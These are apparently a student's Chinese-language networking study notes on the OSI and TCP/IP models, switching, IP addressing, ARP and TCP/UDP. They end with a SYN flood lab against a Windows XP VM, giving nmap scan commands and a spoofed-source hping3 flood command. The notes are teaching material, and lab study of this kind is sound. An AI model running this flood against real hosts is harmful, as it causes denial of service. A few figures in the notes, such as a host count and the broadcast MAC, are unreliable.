本文详细介绍了OSI的七层模型和TCP/IP模型，包括每层的功能、数据单元类型以及通信方式。讨论了网络设备如何处理数据，通过封装和解封装的过程。此外，还提到了协议分层的原因和TCP/IP协议栈的安全隐患，如物理层的物理破坏、数据链路层的MAC欺骗等。
目录
OSI 的七层模型 七层模型
7.应用层 产生数据
6.表示层 将数据格式化 压缩 加密等操作
5.会话层 负责建立起会话 规定 数据 在传输时使用的 IP 地址 端口号等
4.传输层（运输层） 实现 数据端口 --- 端口 通信（端到端通信） 端口---对应特点的应用服务
3.网络层 （网际层） 实现数据 主机到主机的通信 站点到站点 （IP地址----IP地址）
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负责数据的路由
2.数据链路层 从一个MAC 地址（物理地址）到另一个MAC 地址直接的通信 数据从哪一张网卡 到另外一张网卡
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负责链路之间的，不同的传输介质之间的数据传递
1.物理层 将数据 转换成 二进制信号 （比特流 ）进行传递 和传输介质相关
前三层负责传输完整的数据
后三层负责传输过程中的各种参数
每一层的数据都叫做一个 PDU 协议 数据单元 （protocol data unit ）
apdu ppdu spdu
传输层 segment 数据段
网络层 packet 数据包
数据链路层 frame 数据帧
网络层 bit 比特流
TCP/IP 模型
对应关系：
数据单元
每一层的数据都叫做一个 PDU 协议 数据单元 （protocol data unit ）
下四层：
apdu ppdu spdu
传输层 segment 数据段
网络层 packet 数据包
数据链路层 frame 数据帧
物理层 bit 比特流
对等层通讯
垂直方向：提供服务
下一层为上一层 提供服务
下一层 封装上一层，最后形成数据帧，在传递的过程中，物理层将数据帧转换成比特流。
水平方向：对等通信
对等通信
网络设备处理数据的流程
封装和解封装
发送数据，要把数据，封装起来（装包） 接收数据，要把数据进行解封装（拆包） 接收端工作在哪一层，就把数据解封装到哪一层 如果将接受到的数据再去 转发 ，还需要 将数据 再次进行封装
TCP/IP 协议封装和解封装的过程
协议为什么要分层
每一层的职责是相互独立的 某一次的参数发生变化，与其它层是不会相互影响的 对于开发的角度，如果要开发一个新的应用协议，不需要再去考虑其他层 如何开发，节约时间节约成本，提高效率，维护起来方便 OSI参考模型是一个标准的模型，某些协议，不需要这七层全部的加入来进行 比如 ARP协议 只需要封装 数据链路层和他的数据部分即可。比如 ICMP协议 ，只封装数据链路层、网络层即可。对于协议的应用更加灵活。 ....
TCP/IP协议栈常见的安全风险
应用层：Web安全（渗透测试）
物理层
为传输数据所需要的物理链路创建、维持、拆除
特性
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机械 如：网线水晶头
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水晶接头：
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引线数目：8
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排列顺序：
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T568A
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T568B：橙白 橙 绿白 蓝 蓝白 绿 棕白 棕
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光纤接头
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电子 指明在接口电缆的各条线上出现的电压的范围
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如以太网线，8颗芯 其中4跟带有电压，负责数据通信
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功能 指明某条直线上出现的某一电平的电压表示某种意义
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规程 指明对于不同功能的各种可能事件的出现顺序。
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如 ：事件A : 10101010 事件B :10101011
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编码格式
曼彻斯特
差分曼彻斯特
信道复用
就是同时公用一条信道来进行信息传输。
传输介质
电磁波
光纤
同轴电缆
以太网线
物理层的安全风险
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物理破坏
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人为
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自然环境
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机房位置不能处于地下室
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机房的环境 温度
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湿度 高（冷凝水） 低 （静电）
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窃听
数据链路层
工作在OSI模型的第二层-------> 二层
为网络层提供服务------>将封装到网络层的数据，进行数据传输
链路
链路：从一个结点到相邻结点的一段物理线路，而中间没有任何的交换结点。
链路按照传输介质：如 wierless ----> 802.11、以太网---->Ethernet 2 、802.3、光纤、PPP链路（ppp协议）等
数据链路层会将数据封装成 帧
数据链路层解决的三个问题
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封装成帧 将上层数据 加上帧头 （源目MAC地址和type字段）和帧尾（检验数据）
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数据帧的结构：数据帧头部+数据部分+帧尾
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帧头部 主要是源、目MAC地址
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type字段 标明上层协议是什么
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差错检测
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基于 帧尾的 sumcheck 校验和 ，用来校验整个数据帧的完整性
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基于帧尾校验和（sum check）来实现
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可靠传输
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能够保障 发送者发送什么。接受者就能够接收到什么
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组网类型
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共享型网络：所有的设备都处于一个冲突域
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冲突域 一个冲突域也是一个局域网
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争用型网络（没有规则，随机）
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传输数据依靠
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集线器。形成总线型网络。工作中物理层。
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确定型介质访问（有序访问）
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令牌环网络 CSMA/CD ---> CS:载波侦听 MA:多路访问 CD:碰撞检测
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有序的访问控制协议
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非共享型网络 ：交换网络
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交换机--------->提供一个广播域网络
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能够实现主机间单播通信
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解决了冲突域的问题
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基于交换机来实现的
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交换机的接口独享一个宽度
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所有设备处于一个广播域 或 局域网
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局域网的两种形式
冲突域
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基于集线器
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争用型网络中 使用的技术
广播域
一台交换机默认的所有接口下的设备，都在一个广播域下。
如果目的MAC地址是一个具体的MAC地址的话，一般情况下，该数据会被交换机单播
如果目的MAC地址是一个非具体的MAC地址的话，有一种情况是广播，一个广播的目的MAC地址是 FFFF-FFFF-FFFFF
交换机 ------->工作中数据链路层
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基于交换机、交换机能够实现单独的链路传输
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交换机的工作原理：
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交换机刚接入网络时，MAC地址表是空的
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交换机的转发数据帧，依靠MAC地址表 -
交换机接受数据的时候需要解封装并学习源MAC地址 -
交换机如何发送数据
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情况1 查看CAM表是否存在和目的MAC地址相关的信息。如果有，把数据单播发送该数据帧到目的的接口。
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情况2 如果没有 则将数据帧泛洪发送到该局域网的所有接口
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CAM的特点
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CAM表的条目是有老化时间的
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CAM表是有容量的
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如果CAM表满了，会发生双向泛洪，交换机无法学习。
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交换机的特性
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通过交换机的1个接口，可以学习到多个MAC地址
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一个MAC地址，只能被一个接口学习（对应一个接口）
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MAC地址表容量有限
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单播通信：数据帧中的目的MAC地址是具体的。
广播通信：MAC地址全F
数据链路层的设备
交换机
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交换机：交换机工作在OSI模型的第二层（数据链路层）
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它可以为接入交换机的任意两个网络节点提供独享的电信号通路：交换机拥有一条高带宽的背部总线和内部交接矩阵，在同一时刻可进行多个端口对之间的数据传输。
交换机接口的数据传输模式
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全双工 能同时进行接受和发送数据，相当于两个人打电话
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半双工 能发送信号，也能接受信号，但是不能同时进行
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单工 只能发送或者接受信号的设备 如：广播电视台和收音机
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自适应
交换机的工作原理
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交换机工作 依赖于 MAC地址表
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MAC地址表：上面记录了 接口和 与该接口相连设备的MAC地址
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1.交换机接受数据帧，会解封装该数据帧的 数据链路层（源MAC地址和目的MAC），学习源MAC地址
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丰富的MAC地址表形式：
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1.管理员手动输入（很少使用）
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2.交换机自己学习
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交换机的一个接口可以学习多个MAC地址
但一个MAC地址只能被一个交换机学习
2.交换机要转发数据帧，会查询 目的MAC地址和出接口的对应关系
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1.如果交换机找到该对应关系，则将数据帧发送往对应的接口
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2.如果交换机没有找到对应关系，则将数据帧 泛洪到该广播域下的每一台主机上。
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关于交换机的MAC地址表
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刚接入网络时，交换机的MAC地址表是空的
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交换机学习到的 接口与MAC地址对应关系的信息叫做MAC地址表的条目。MAC地址表的条目 使用寿命（默认300s）
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交换机的MAC地址表的容量是有限的。
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关于交换机学习MAC地址，如
接口1-----AA，当交换机从其他接口（接口2）又学习到了AA这个MAC地址，此时会将原来的接口1----AA的对应关系删除，重新填写一个接口2-----AA，将MAC地址表更新。
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交换机转发数据的原理：
数据链路层的攻击
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MAC欺骗
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基于交换机的特性：一个MAC地址，只能被一个接口学习到
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MAC地址泛洪攻击
网络层（IP）
实现 站点 到 站点 之间的通信
1.给每一个站点 定义IP地址：IP的编址
2.IP的寻址------>依靠路由技术
3.工作网络层的设备是 路由器
网络层实现分包与组包
如果一台设备想要在 参与到 网络中，必须要有IP地址
网络层提供了3个工作机制来实现IP数据的传输
IP编址
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给每一台设备 分配一个IP地址。
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目前使用的IP地址 IPv4 IPv6
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IP地址的定义：
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IP地址是主机 或者 路由器的 “身份证号”
IP地址的表示形式
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二进制IPv4地址的长度是32位 ---> 一个有多少个IPv4地址：2^32个
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点分二进制的表示形式
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点分十进制的表示形式
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IP地址要分为5类
A、B、C、D、E五类
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IP地址的两个部分：网络位 + 主机位
主机位的个数：
A类: ----2^24 16777216
B类: ----2^16 66536
C类: ----2^8 256
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网络位 表示 是哪一个局域网
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主机位 表示在该局域网中 具体的 IP 地址
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每一类IP地址当中，都会有私有地址
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私有IP地址最初用于 科研（不允许加入互联网）
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私有地址在不同的局域网中，可以重复使用
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公有地址 除了私有地址以外的地址，都是公有地址。在网络中是唯一的，不能重复使用。
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解决IP地址浪费的问题：
1.子网划分
2.子网掩码
用来表示IP地址当中，哪一位是网络位，哪一位是主机位
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特点
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1 对应的位 是网络位，0 对应的位 是主机位。
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从左到右，必须是连续的1和连续的0
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3.VLSM（可变长度子网掩码）---------解决IP地址浪费的问题
子网掩码变长，子网多了，每个子网的地址（主机）变少了。
子网掩码变长多少n位，就会出现2的n次方个子网。然后每个子网的主机位（主机个数）就是原来的1/(2^n)
4.IP地址的无类化
子网掩码可以变长，也可以变短，按照此种方式进行IP地址划分，可以不用考虑IP地址分类的问题。
IPv4地址的另一个问题------ 数量不够
IP地址不够用
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IPv6 地址 2^128个，一般使用16进制来表示。全球唯一！！！
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万物互联------物联网技术。
IP路由
决定数据包要去往目的地址，从哪一个方向去转发。
路由
从一台主机 发往其他 网段的信息（想夸网段通信），经过路由器，进行路由表的查询，转发到其他能到达该目的接口的行为。
路由表
路由表是路由器转发数据的依据（MAC地址表是交换机转发数据的依据， 区别：交换机查不到数据会泛洪，但路由器查不到数据会丢弃该数据包）
IP分片
如果数据过大，需要将数据拆分后去传递
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MTU max transport unit 最大传输单元 MTU值在以太网中是1500字节。
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比如：在以太网上（一个以太网数据帧） 传输数据（封装的数据部分），最大为1500字节。
IP报文（IP包头）------------> 一段数据
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IP报文头数据的大小，默认为20 字节
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分片：
IP报文头
ARP协议
ARP协议的特性
ARP攻击
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arp的欺骗：单独欺骗一方
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arp中间人的攻击：通信双方都欺骗
场景：
传输层
1.实现端口 到 端口的通信
20、21------ FTP
22 SSH
23 Telnet
53 DNS
80 HTTP
2.端口号：即程序的地址
端口范围：0-65535
源端口号： 49152---65535之间的随机端口号
目的端口号： 0-1023或者1024-49151固定的端口号，这些端口号都对应了固定的应用服务
3.传输层的两个协议
TCP
TCP为应用服务提供一种面向连接的、可靠的连接
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TCP的首部格式
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面向连接
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三次握手：在正式的数据传输之前，先建立连接通道
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四次挥手：数据传输结束要断开连接
三次握手：
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四次挥手：
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可靠传输
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确认和重传
每一个数据发送到对方，对方会回复一个 确认报文
如果发送者向目标发送了某个数据，没有收到该目标的回复报文，则会发生数据重传！
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分段重组
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tcp的MSS: 1460字节数据
TCP会将 MSS大小 数据 进行 分段（segment）
通过分段数据的序列号进行重组
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流量控制
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慢启动和拥塞控制
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滑动窗口值
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UDP 用户数据报协议
UDP是不可靠的
面向无连接的，不可靠！
传输层的安全威胁
UDP的 拒绝服务攻击
TCP的半开连接
SYN Flood攻击实验
也叫SYN半开连接实验
实验原理：
1.实验准备：
将kali 和靶机（win XP）设置在同一个网段（Vmware8网卡）
2.在kali上查看自己的IP地址所在的网段，根据信息，进行该网段内的ip地址扫描（信息收集）
ip addr或者ifconfig
3.查看完kali的ip地址之后，进行该网段IP的扫描
nmap -sP 192.168.100.0/24
4.找到XP系统对应的ip 进行扫描，如果不知道就全部扫描一遍
nmap -sV 192.168.100.0/24
5.切记Windows XP防火墙要关闭！！！
6.查看开发的端口，对应进行SYN半开连接攻击。
攻击前后对照：
攻击前：查看XP任务管理器的cpu使用率
攻击后：查看XP任务管理器的cpu使用率
攻击前：
攻击后：
攻击命令:
hping3 -q -n -a 9.9.9.9 -S -s 53 --keep -p 135 --flood 192.168.100.137 -a 指定源IP地址 9.9.9.9 为攻击者 伪造的ip地址 -S 使用的供给方式为 SYN 半开连接攻击 -s 指定源端口号 53为攻击者伪造的端口号 -p 指定目标端口号 使用 扫描到的端口号
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